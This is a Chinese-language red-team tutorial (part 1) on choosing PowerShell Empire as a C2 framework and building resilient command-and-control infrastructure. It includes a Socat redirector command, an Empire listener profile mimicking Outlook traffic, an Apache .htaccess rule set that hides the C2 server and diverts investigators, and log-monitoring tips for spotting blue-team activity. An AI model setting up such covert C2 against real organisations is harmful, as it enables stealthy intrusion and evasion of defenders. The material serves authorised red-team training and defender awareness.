紅隊技術從零到一 part 1
前言
這篇文章特別針對那些希望深入研究紅隊並從傳統滲透測試向前邁進一步的初學者。對於藍隊/突破響應團隊/SOC分析師來說,可以幫助我們瞭解其動機/方法,並做好應對紅隊或現實對手的準備。以下是我決定進入紅隊時的經驗總結。這是一個很長的文章,所以最好先拿一杯咖啡,然後繼續閱讀。
什麼是紅隊?
根據Redteamsecure.com的定義,紅隊是一種全範圍的多層攻擊模擬,旨在衡量公司的人員和網路、應用程式和物理安全控制,用以抵禦現實對手的攻擊。
在紅隊交戰期間,訓練有素的安全顧問會制定攻擊方案,以揭示潛在的物理、硬體、軟體和人為漏洞。紅隊的參與也為壞的行為者和惡意內部人員提供了機會來破壞公司的系統和網路,或者損壞其資料。
滲透性測試VS紅隊技術
滲透性測試(penetration test,PT)可以定義為對組織安全狀況的評估,該安全狀態以受控方式執行,並且通常由安全管理員指定和管理。完成專案的指定時間和範圍非常有限,通常不會考慮社會工程、惡意軟體執行等現實對手。大多數情況下,你將為指定的網路範圍、Web應用程式、移動應用程式、無線應用程式等執行PT,並且所有與該特定範圍相關的人員將獲得一個預先的資訊,即進行PT的日期。客戶端還會將PT團隊的公共IP地址列入白名單,以便他們可以確定只有指定的PT團隊正在攻擊它們。
在PT中,通常你不會超越開發階段。如果你在執行PT時在遠端計算機上獲得shell訪問許可權,那麼大多數情況下,客戶不希望你再繼續下去,並且要求就在那裡停止它。如果你獲得了一系列內部/外部IP地址或多個Web應用程式,則必須嘗試在所有這些地址中查詢漏洞,你不能錯過它們中的任何一個。
在如今社會的發展趨勢下,有國家贊助的黑客/APT小組隨時準備破壞他們想要破壞的任何組織,並且他們沒有受到上述任何限制,這不是開玩笑!
當真正的攻擊者想要闖入一個組織時,他/她將不會採用傳統的PT過程和方法。攻擊者會盡一切努力進入組織並洩露資料或破壞組織的聲譽,並且在嘗試以任何方式進入內部之前,他可能會計劃數週甚至數月。這是傳統的PT和紅隊之間的區別。
紅隊充當真實且有動力的攻擊者。大多數時候,紅隊攻擊範圍很大,整個環境都在範圍內,他們的目標是滲透,維持永續性、中心性、可撤退性,以確認一個頑固的敵人能做什麼。所有策略都可用,包括社會工程。最終紅隊會到達他們擁有整個網路的目的,否則他們的行動將被捕獲,他們將被所攻擊網路的安全管理員阻止,屆時,他們將向管理層報告他們的調查結果,以協助提高網路的安全性。
紅隊的主要目標之一是即使他們進入組織內部也要保持隱身。滲透測試人員在網路上表現不好,並且可以很容易的被檢測到,因為他們採用傳統的方式進入組織,而紅隊隊員是隱祕的、快速的,並且在技術上具備了規避AV、端點保護解決方案、防火牆和組織已實施的其他安全措施的知識。
故此,紅色團隊所需的技能組合和方法與PT完全不同。
紅隊應該做什麼?
它可以大致分為這些類別:
·Reconnaissance/偵察:使用被動和主動偵察技術收集有關員工、管理人員、技術堆疊、安全裝置等的資訊。
· Physical security/物理安全:物理地對映建築物,繞過或克隆RFID /生物識別、開鎖等。
· Social Engineering/社會工程:通過有針對性的網路釣魚、進入建築物/ODC、假冒調查、植入網路植入物、Dumspter潛水等方式進行惡意軟體交付/憑證記錄。
· Exploitation/開發:有效負載交付和執行,隱身C&C伺服器通訊。
· Persistence/持久化:特權升級,維持永續性和透視。
· Post-Exploitation/後開發:橫向移動和資料洩露。
目的
可以從外部滲透到一個組織的日子已經一去不復返了,現在大多數暴露的外部網路節點和Web應用程式都非常安全。成功的唯一選擇是,我們能夠以某種方式在一個將與我們連接回去的組織內部執行我們的有效負載。要繞過現有的現代端點保護、代理、IDS和所有其他安全裝置,需要大量的工作和實踐。有效載荷必須避開所有已到位的安全裝置,同時保持隱蔽性,並且不向藍隊/SOC小隊觸發任何重大警報。
本文的目的是在目標組織的網路中獲得初步立足點,同時保持隱藏狀態。許多組織現在更喜歡“假設破壞”紅隊演習,他們假設自己已經被攻破,並且攻擊者可以通過Post-Exploitation造成傷害。在本問中,我們僅討論這些小節下劃分的開發階段:
1.C2/Post-Exploitation框架選擇
2.C2基礎設施設定
3.有效負載建立
4.有效負載交付
5.AV/端點保護/NIDS規避
在網路中獲得初步立足點之後,我們的目標是在該組織內進行特權升級,轉動,橫向移動,最後將敏感資料洩露出去。
我們假定目標機構是一家擁有所有安全產品和政策的《財富》500強公司。
1. C2 /POST-EXPLOITATION框架選擇
在紅隊參與過程中,選擇正確的C2框架是最重要的一步。正確的C2框架必須具有靈活性、敏捷性和抗彈性,以防止藍隊的預防措施。它必須站立並持續數週或數月,直到紅隊參與活躍。不要在紅隊參與期間使用Metasploit。因為,雖然對於傳統的PT來說,它是一個很好的開發框架,但是當談到持續數週到數月的交戰時,那麼Metasploit並不是一個好的工具。我們可以編寫自己的框架,也可以使用已經過試驗和測試過的東西。所以,編寫自己的C2框架將是另一個大專案,需要大量的專業知識和時間。我們選擇了已經可供全球各地專家使用的東西。
經過大量的搜尋和討論,我將其歸結為兩個選項:
· CobaltStrike:紅色團隊合作的最佳框架,有很多令人驚歎的功能,並且你在其他任何地方都找不到。不得不說,創造了這個這麼好的工具是值得稱讚的。當然了,好的東西不一定能免費拿,它的價格為3500美元/年。
· powershell Empire:另一個偉大的工具,可用於建立有效載荷和後期利用。Empire是一個純粹的Shell/">PowerShell後期開發代理,建立在密碼安全通訊和靈活的架構之上。比較好的一點是它是開源的,完全免費的。(感謝這些人創造了這個非常棒的工具:@harmj0y,@sixdub,@enigma0x3等等)。
我們現在將使用powershell Empire,因為它是一個免費提供的神奇工具,它是開源的,可供所有人使用。最好去Empire官方網站檢視一下,他們在那裡保留了非常簡潔的使用文件。
不過,我想提一下為什麼我選擇PowerShell Empire作為一個合適的post-exploitation框架:
· 靈活有彈性:與Metasploit不同,如果你的聽眾掉線了一次,你就會失去連線。Empire代理可以繼續嘗試與你通訊,直到它完成你在設定有效負載時定義的連線嘗試次數。代理資訊儲存在sqlite檔案中,當你再次啟動Empire時可以獲取該檔案。一旦為偵聽器定義了引數,除非你有其它明確的指令,否則它不會更改,這就不需要你一次又一次的設定監聽器了。因為它是開源和模組化的,你可以在Empire內部使用自己的powershell指令碼。
· 使用powershell和Python:考慮到這一點,我們的目標是一個組織,而且大多數時候,他們的基礎設施主要由windows系統組成,使用powershell是一個安全的選擇。Empire至少需要PowerShell v2.0來執行,它可以從Win Vista到Win 10執行,但它在Win XP系統上不起作用。它還提供了繞過在許多組織中的應用程式白名單的優勢,因為PowerShell預設可用,而且我們不會刪除或執行任何新的可執行檔案。對於任何基於unix的主機,我們可以使用基於python Empire代理。
· 代理感知有效載荷:它自動從當前正在使用的系統中獲取代理和快取的憑據,並使用它來與C2伺服器通訊。許多傳統工具和有效載荷在這裡都失敗了,因為除非有明確的指定,否則它們無法自動獲取代理。我們的目標是一家財富500強公司,它肯定會使用代理伺服器來處理任何型別的網路請求。
· 可擴充套件C2配置檔案:C2配置檔案表示與C2通訊的代理中的指示符。它包括監聽器協議,http url,使用者代理,回撥時間,丟失限制,抖動,加密金鑰等。AV供應商根據這些指標編寫簽名。很多時候,如果使用預設引數的話,會導致檢測、刪除有效載荷並阻塞組織與C2域之間的通訊。在建立有效載荷以避開檢測時,可以更改這些指示符。
· 可以在不執行powershell.exe的情況下執行powershell代理:由於PowerShell被惡意軟體使用者嚴重濫用,許多組織要麼完全阻止powershell.exe執行,要麼記錄從powershell.exe發出的每個活動。然後將其交給一箇中央日誌分析工具,該工具可能會對任何可疑活動發出警報。為了解決這個問題,我們實際上可以在不執行powershell.exe的情況下啟動powershell,Empire可以幫助我們實現。
· 預先載入了Invoke-Obfuscation模組:Empire有一個選項來混淆不同級別的所有原始碼、堆疊和有效載荷,在規避基於簽名的AV檢測過程中有很多幫助。
· 可靠的永續性模組:它有幾個非常可靠的永續性模組,可以很好的工作,使用WMI進行持久化是我最喜歡的模組之一。
· 大量的後期開發模組:它有許多用PowerShell編寫的優秀後期開發模組,可用於資訊收集,橫向移動,雜湊轉儲和系統管理。
· 不同的監聽器選項:與Metasploit保持與C2伺服器的恆定TCP連線不同,Empire可以在HTTP上通過自定義延遲和抖動進行通訊,從而使檢測C2通訊變得非常困難。它有很多偵聽器選項,其中包括http_hop甚至Dropbox作為C2。
powershell Empire
Empire http偵聽器選項
Empire中不同的有效載荷生成選項
不同的Empire偵聽器
2. C2基礎設施
我們的C2(命令和控制)基礎設施將包括我們的C2伺服器、重定向器、網路釣魚伺服器和有效載荷交付伺服器。對於紅隊的參與,我們需要部署一個Resilient C2基礎設施,可以持續數週或數月,具體取決於參與的持續時間。基礎設施必須靈活且足夠強大,以抵禦藍隊的預防行動。
例如,當藍隊發現組織已被洩露並且且開始識別C2流量時,他們將開始阻止你的C2域作為預防措施。你的C2基礎設施應該是這樣的,當藍隊開始戰役時,它應該保持站立。
傳統滲透性測試基礎設施
@bluescreenofjeff已經寫了一篇關於如何設計彈性C2的博文。本文的這一部分受到他的工作的啟發,我建議大家閱讀這篇文章後看看他的部落格,我在這裡以更簡潔的方式重複一些設計考慮因素,這是我辛苦學到的:
2.1 隔離
你必須在參與期間設定多個C2伺服器、多個重定向器、網路釣魚伺服器或有效載荷交付伺服器,所有這一切都必須在不同的伺服器上。我們需要將我們的基礎設施分開,因為這將為我們提供所需的靈活性和彈性。例如,如果你的網路釣魚伺服器在廣告系列期間被捕獲,並且藍隊阻止了電子郵件傳送域,你也不會失去對已經擁有的主機的控制權,因為你的C2伺服器託管在不同的伺服器和域上。
你的短途和長途C2伺服器也應託管在不同的域上。通常,短途C2在交戰過程中很容易被抓住。短途和長途C2之間的隔離可以讓你長時間堅持下去。
短距離C2伺服器是那種每隔幾秒就會收到回撥的伺服器,這將被用來在受害者的機器上實時執行命令。長途C2伺服器是每隔幾個小時就會收到回撥的伺服器,這將有助於我們堅持並規避惡意流量檢測。
隔離你的infra會為你提供靈活性和抵禦藍隊預防措施的能力。以下是現代紅隊基礎設施的示例圖。
簡單的紅隊基礎設施
2.2 重定向
重定向器可以放置在每個C2伺服器的前面,以保護我們的核心基礎架構不被識別和阻止。在C2伺服器前使用重定向器有很多優點:
· 防止識別我們的核心C2基礎設施:即使藍隊發現哪些域的惡意軟體正在與之通訊,我們的核心基礎設施也將保持隱藏狀態。如果他們開始阻止域,我們可以快速切換到實時在不同域上執行的不同重定向器。這將節省我們使用C2框架和所需工具設定另一臺伺服器的工作量和時間。
· 混亂:當他們開始調查並開始燒錄我們的域名時,他們可能會感到困惑。只有C2流量會被重定向到原始C2伺服器,但如果其他人試圖調查C2域,重定向器伺服器會將流量重定向到另一個合法網站。
我們可以實現兩種不同的重定向:
2.2.1 啞管重定向
我們可以使用Socat或IPtables執行轉儲管道重定向,它會將所有傳入流量轉發到C2伺服器。使用轉儲管道重定向器的唯一優勢是我們原來的C2伺服器將保持隱藏狀態。它可以使用IPtables或Socat實現,Socat更容易在iptable中使用該配置規則。Socat是一個基於命令列的實用程式,它建立兩個雙向位元組流並在它們之間傳輸資料。
這是Socat的基本語法,它將埠80上的所有傳入TCP流量轉發到埠80上的指定遠端主機。
Socat TCP4-LISTEN:80,fork TCP4:<REMOTE-HOST-IP-ADDRESS>:80
啞管重定向
2.2.2 智慧重定向
智慧重定向意味著將所有C2流量轉發到C2伺服器,並將所有其他流量重定向到合法網站。這會阻止藍隊調查企圖發現我們的C2,訪問C2域的任何人都將被重定向到另一個合法站點。這同樣適用於curl,wget或任何Web掃描器等工具,這可以提高C2基礎架構的彈性。
智慧重定向
實現智慧重定向的最簡單方法之一是使用mod_rewrite。
mod_rewrite能夠根據請求屬性執行條件重定向,例如URI、使用者代理、查詢字串、作業系統和IP。Apache mod_rewrite使用htaccess檔案來配置Apache應如何處理每個傳入請求的規則集。
首先,我們必須根據我們嘗試融入的網路流量來定製我們的Empire C2。在這個例子中,我嘗試將我的C2流量模擬為Microsoft實時電子郵件流量。你可以根據你要模擬的Web服務更改使用者代理、Web URL和伺服器標頭。如果任何工具或個人正在監控http網路流量,它看起來不像是惡意的,因為它與Outlook電子郵件流量類似。
它看起來像是安裝在某人桌面或手機上的Outlook應用程式,每隔幾分鐘就會嘗試與收件箱同步。在此示例中,任何與我們的C2流量不匹配的流量都將被重定向到https://login.microsoftonline.com,從而降低了懷疑程度。這篇文章的AV Evasion部分對此進行了更多的討論。
為了設定智慧重定向,你需要配置C2伺服器和重定向器伺服器。以下是如何配置C2伺服器和重定向器伺服器以進行智慧重定向的確切詳細資訊。
設定C2伺服器
listeners uselistener http set Name microsoft set DefaultJitter 0.6 set DefaultDelay 11 set DefaultProfile /owa/mail/inbox.srf,/owa/mail/drafts.srf,/owa/mail/archive.srf|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; yie11; rv:11.0) like Gecko|Accept:*/* set Host http://[Redirector-ip]:80
將上述文字儲存為microsoft.profile並使用以下命令啟動powershell empire。
./empire -r microsoft.profile (would start empire with the microsoft profile)
Empire http監聽器選項
設定重定向器伺服器
· 在/etc/apache2/apache.conf中的<Directory / var / www />中將“AllowOverride None”更改為“AllowOverride All”。
· 為mod_rewrite啟用一些apache模組。
sudo a2enmod rewrite proxy proxy_http sudo service apache2 restart
· 編寫.htaccess檔案,它將具有所有重定向條件。這部分很棘手,因為如果出現問題,你的C2流量將永遠不會轉發到原始的C2伺服器。如果它正常工作,請仔細檢查RewriteCond正則表示式。
RewriteEngine On #URL condition – Empire’s url structure RewriteCond %{REQUEST_URI} ^/(owa/mail/inbox.srf|owa/mail/drafts.srf|owa/mail/archive.srf)/?$ #UserAgent condition – Empire agent’s custom user agent RewriteCond %{HTTP_USER_AGENT} ^Mozilla/5\.0\ \(Windows\ NT\ 6\.1;\ WOW64;\ Trident/7\.0;\ yie11;\ rv:11\.0\)\ like\ Gecko?$ #Redirect the original C2 traffic to this host RewriteRule ^.*$ http://[C2 server]%{REQUEST_URI} [P] # Redirect all other traffic here RewriteRule ^.*$ https://login.microsoftonline.com/? [L,R=302]
· 將此.htaccess檔案放在/var/www/html中,並將許可權更改為644.重新啟動apache webserver。
· 如果一切順利,當你的代理在受害者的計算機上執行時,你將通過重定向器伺服器在原始C2伺服器上收到回撥。嘗試訪問重定向器域的任何其他人都將被重定向到https://login.microsoftonline.com。
2.3 為你的C2流量使用SSL
通過https進行C2通訊在繞過AV / IDS檢測方面具有很大的優勢,我們將在AV Evasion部分討論。
加密C2通訊
以上步驟適用於HTTP流量,但如果我們要使用https以及重定向,則需要按照以下步驟操作:
設定重定向器伺服器
· 在重定向器伺服器上啟用ssl並在ssl配置檔案中啟用SSLProxyEngine。
a2enmod ssl
· 在/etc/apache2/sites-available/000-default-le-ssl.conf中新增這些行:
SSLProxyEngine On SSLProxyVerify none SSLProxyCheckPeerCN off SSLProxyCheckPeerName off
· 重啟apache webserver。
· 在.htaccess中,用這個替換第一個重寫規則:
RewriteRule ^.*$ http://[C2 server]:443%{REQUEST_URI} [P]
設定C2伺服器
將主機選項設定為https,並將埠設定為443。
用於https重定向的Empire偵聽器選項
執行代理,如果一切正常,你的代理將通過https與重定向器伺服器通訊,然後將流量轉發到C2伺服器。
2.4 日誌管理
在參與過程中,你必須實施某種日誌管理過程。記錄C2 /重定向器伺服器的網路活動有很多優點:
2.4.1 情境意識
你會意識到藍隊的調查工作。日誌會為你提供大量資訊,比如藍隊到底想在你的伺服器上做什麼。
他們使用curl/wget嗎?他們是否嘗試在你的伺服器上執行埠掃描?他們是否在你的伺服器上執行一些Web漏洞掃描程式/ dirbuster?他們是否嘗試從瀏覽器訪問你的伺服器?什麼是使用者代理?他們活躍的時間段是什麼時候?他們在什麼時區工作?他們的公共IP地址是什麼?它與組織的公共IP地址相同嗎?他們試圖發現什麼?它是一個試圖侵入你的伺服器的外部實體嗎?
2.4.2 復原
你可以輕鬆找出他們是否已開始嘗試發現你的C2伺服器,並根據具體情況,你可以在阻止該域之前動態更改代理的C2伺服器。Empire為您提供了在不同的偵聽器上生成新代理的選項。
重定向器伺服器Apache日誌
只需檢視apache訪問日誌,你就可以找到很多詳細資訊,例如IP地址、TimeStamp、訪問的Url、響應程式碼和使用者代理。
如果你的Empire代理人以外的任何其他人試圖訪問網路伺服器,這將很容易發出,它的響應程式碼是'302'。一個簡單的'grep'和'cut'將揭示藍隊的調查嘗試。
當你擁有大量C2和重新定向伺服器時,建議使用中央日誌伺服器和管理工具,以便在發生任何可疑活動時提醒你。正確的日誌管理工具的選擇取決於基礎設施的大小和您對該工具的熟悉程度,我將這一選擇留給你。